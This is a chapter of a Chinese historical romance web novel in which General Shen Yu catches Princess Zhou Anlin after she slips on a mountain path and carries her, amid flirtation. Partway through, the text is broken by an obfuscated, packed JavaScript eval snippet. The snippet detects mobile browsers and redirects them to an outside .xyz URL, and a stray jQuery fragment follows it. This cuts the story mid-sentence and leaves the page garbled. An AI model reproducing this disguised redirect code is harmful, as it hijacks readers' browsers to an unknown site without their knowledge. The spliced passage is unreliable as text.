“将军,我们也该动身了。”沈二见沈瑜在雨中等了许久,难免有些担心。
上次在万祥楼时,将军突然没了胃口,自己一言不发地离开了。他们几个虽然不清楚究竟发生了什么,但也能从将军阴沉的脸色上窥见一二。
尤其是沈二,被沈瑜安排去吸引迷蝶,大半夜在屋顶上抱着吃食傻站着,差点没被夜里尚存冷意的北风吹成歪嘴。
本以为将军心情不好只是一时,没想到一等就等到了今天。沈二在心里叹口气,瞧瞧将军看马车的眼神,跟看情人一样。不知道的还以为……
嘶——无意中得知惊天秘密的沈二略有些不自然地看了眼沈瑜,难道这就是传说中的望妻石?
呸呸呸,沈二暗暗唾了自己一口,怎么能这么想将军呢。他家将军可是天生的将才,才不会被这些小情小爱绊住手脚。可一旦怀疑的种子种下了,沈二总能将沈瑜的心情同某人联系起来。意识到自己不对劲,沈二连忙低头,不敢让沈瑜发现自己的异样。
多站会儿也没什么,他家将军身体好得很,区区小雨算什么。沈二现在比较担心自己,若是被将军发现自己在心里编排他,估计要在屋顶待上许久了。
“好。”沈瑜像是才从自己的思绪中抽身,半天才回了这么一句。
事实上沈瑜也的确有些不解。
圣上每次清修都会带上禁卫军,今年却有些不同,听闻沈瑜回京,特地将自己的安危交给了他。都说被圣上关照是莫大的荣耀,沈瑜却总觉得圣上此番作为跟父亲手中的兵权分不开。
不过这样也好,又能见到杏宁了。先前听闻她又病了,没法出宫。他也没别的理由进宫,细细算来,他们已经有大半个月没见过面了。
想到这里,沈瑜一个翻身上马,用动作来掩饰自己发自内心的喜悦。心情好时,连迎面而来的毛毛细雨都成了快乐的延续,他顾不上被雨滴打湿的外衫,紧握缰绳,驾马直冲千山寺而去。
“欸!欸?将军!”沈二还没反应过来呢,人就走远了,只留下一地的尘土和一个包袱。他有些傻眼,下意识看向沈一:“我们要跟上吗?”
沈一都不知道他什么脑子,敷衍一句:“嗯,要跟上,把包袱淋湿了,最后将军连个换洗的衣服都没有。”
“你这不是好话吧。”沈二本来都打算上马了,听了沈一的后半句话,差点没把自己噎死。他不就多问了一句吗,怎么还刺他一下。
“赶紧上来吧,别让将军等急了。”沈一还是那副面瘫脸,只是多了点人味,知道问他一句了。沈二没了兴致,担心自己说别的还会被怼,索性在心里腹诽,马车能比骑马快吗?依照将军的性子,怕是天黑能想起他俩就不错了。
……
“殿下快醒醒,要登山了。”马车停下后,黄鹂就试图摇醒周安琳。只是动作有些粗鲁,让周安琳本就混沌的大脑更加糊涂。
“什么登山?”周安琳有些迷瞪,以往不都是直接进寺里?这是搞什么。
“陛下说,自己爬山才能展现心诚。”黄鹂替主子理了理衣领,言语中多了些无奈,她何尝不知道殿下的意愿呢?可陛下就是认这个死理,无人敢劝。
“行吧。”周安琳本意也不是为难黄鹂,一个小丫鬟如何违抗皇上的旨意呢?她主要还是犯懒不想动。
她自己跳下马车,就被眼前高耸入云的山峰惊住了,半天才找回自己的声音。
“父皇,这也太高了,我们爬到半山腰就可以了吧?”尤不死心的周安琳仍然试图撒娇来唤醒父爱,可惜失败了。
皇上奇怪地看了她一眼,道:“既然是登山,自然是要亲力亲为的,你可别想着讨巧。”他哪里不懂女儿的那些小心思呢。
“黄鹂,不许背她,让她自己走。”
黄鹂为难地看了周安琳一眼,不是她不帮忙啊,陛下发话了。只是,在陛下看不见的地方,背一段路也不碍事吧?皇上不知道眼前这个看似乖巧的小宫女还有这些花花肠子,还真就放心下来。
“父皇这是瞧不起我?我有手有脚自己能走!”周安琳就不信了,区区一座小山能难倒她?她偏要向父皇证明自己!
“殿下等等我啊。”黄鹂连忙跟上。
可惜周安琳抢先上山也只领先了一时,当一开始的冲劲消失后,步子便越来越缓慢。期间父皇母后都超过她了,更可恨的是周安民,自己空有发达的四肢,来嘲笑她这种琴棋书画样样精通的淑女。
“杏宁可是走不动了?要不要皇兄背啊?哦,忘了父皇不让。”
看着眼前这张与自己有些相似却又格外欠揍的脸庞,周安琳为了保存体力不打算跟他计较:“皇兄这般说大话,担心闪了腰!”
周安民却不以为然:“我已经不是当年的我了,现在的我爬山根本不成问题。”
好气啊,可周安琳也必须承认这一点,兄长回京后的确壮实了不少,就是性子还有待磨砺。
“滚滚滚,挡着本公主登山了。”被周安民越过去后,周安琳成了末尾,她硬撑着爬了一会,腿却越发酸软,使不上劲。
翠柳有些担心:“殿下歇歇吧,刚下过雨,路滑不好走。”
黄鹂却提出了反对意见:“登山就讲究一个坚持,中途休息之后就更使不上劲了。”
两人还在争辩,周安琳选择继续往上爬。既然豪言壮志已经放出来了,就没有收回的道理,她也用不着黄鹂背。
也不知是翠柳的话太灵验了还是什么别的,周安琳还真就踩到青苔,滑了一跤。黄鹂只一会没看着周安琳,没想到就出了这事。
黄鹂连忙抓住周安琳的胳膊,怕人掉下去,可那股被拉扯的感觉却迟迟没有传来。她有些纳闷,手上一点不敢松懈,视线往下扫了一周,没人啊?
“黄鹂,你这么用力干嘛啊?”周安琳疼得直抽气,胳膊上已经多了一道红痕。
“殿下恕罪,奴婢不是故意的。”黄鹂刚松手就意识到不对,这人谁啊?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668223|173022||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抱着她家殿下,就算他是殿下的救命恩人也不行!刚刚就算只有她一个人,一样也能把人救下来。
“黄鹂不必跟来。”
嗯?嗯嗯嗯?记忆力还算得上不错的黄鹂突然想起来这道声音了。沈将军怎么会在这里?
她有些茫然的转过身,就对上了翠柳的眼睛,相顾无言。
“走吧。”
黄鹂很识趣地退后几步,周安琳仍有些不自在,她在沈瑜怀里扭了扭,想要下来。被沈瑜拍了下脑袋:“别逞强,爬不动了就让黄鹂背,自己身体怎么样不清楚吗?”
许是严肃了些,沈瑜的侧脸看上去更凶了。
周安琳也不回话,眼泪就啪嗒啪嗒往下掉。
刚开始沈瑜还没在意,只是不喜欢这么安静的氛围,低头一看才发现人哭了。他有些不知所措,从小到大就没哄过人,说话都僵硬了不少。
我是不是太凶了?殿下怎么哭了?完了完了,怎么补救啊?
“不哭了好不好?”沈瑜尝试与周安琳“谈判”,只要这小祖宗不哭了,让他干什么都行。
谁知周安琳听了他这生硬的语气,更生气了,这是什么态度,又不是她求他救自己的!
“你放我下来!”她不想跟他说话了。
完了,自知说错话的沈瑜更慌了。他本能想要把人留下,可嘴又实在太笨不会说漂亮话。
周安琳只觉得自己的手被牵到一股热源处,隐隐还能感受到心跳。她想要挪开手,沈瑜却死死按住她:“殿下,刚刚是我心急了,还望殿下给我一个将功赎罪的机会。”
这么拉扯一番,周安琳似乎能感受到几层布料下男子的身躯,手下的温度也漫到了脸颊边。她努力控制不让自己的手乱摸,目光最后还是停留在了沈瑜身上。
他眼里的情谊不似作伪,这次,周安琳也没有了当初拒绝他的那股坚定。
果然还是动摇了,她自嘲地笑了笑。
“放我下来吧,我自己可以走。”周安琳被心头的思绪搅得烦躁不安,想呼吸点新鲜空气,最好是自己走走,平复下情绪。
“不行。”被沈瑜一口回绝了。
不行?周安琳不敢相信,这就是他将功赎罪的态度?现在她是真有些来火了。
“就让臣背着殿下吧,刚刚殿下险些落崖,我这心一直悬着,现在还没放下呢。”周安琳别开了,就是不看沈瑜,都是花言巧语,不要相信,不要相信!
“殿下心疼心疼我好不好?”沈瑜故技重施,没想到效果还不错。
周安琳这次就大胆了不少,手状似无意地摸了几把沈瑜的胸膛,过了这个村就没这个店了,往后养面首未必能找到这种身材的。
沈瑜脸上的红晕越来越重,在周安琳的手越发放肆的时候拦了下来,道:“微臣家风严谨,向来洁身自好,这身子自然也只有未来的夫人才能摸。”
他捏了捏周安琳的手,眼里多了几分晦暗之色:“殿下意下如何?”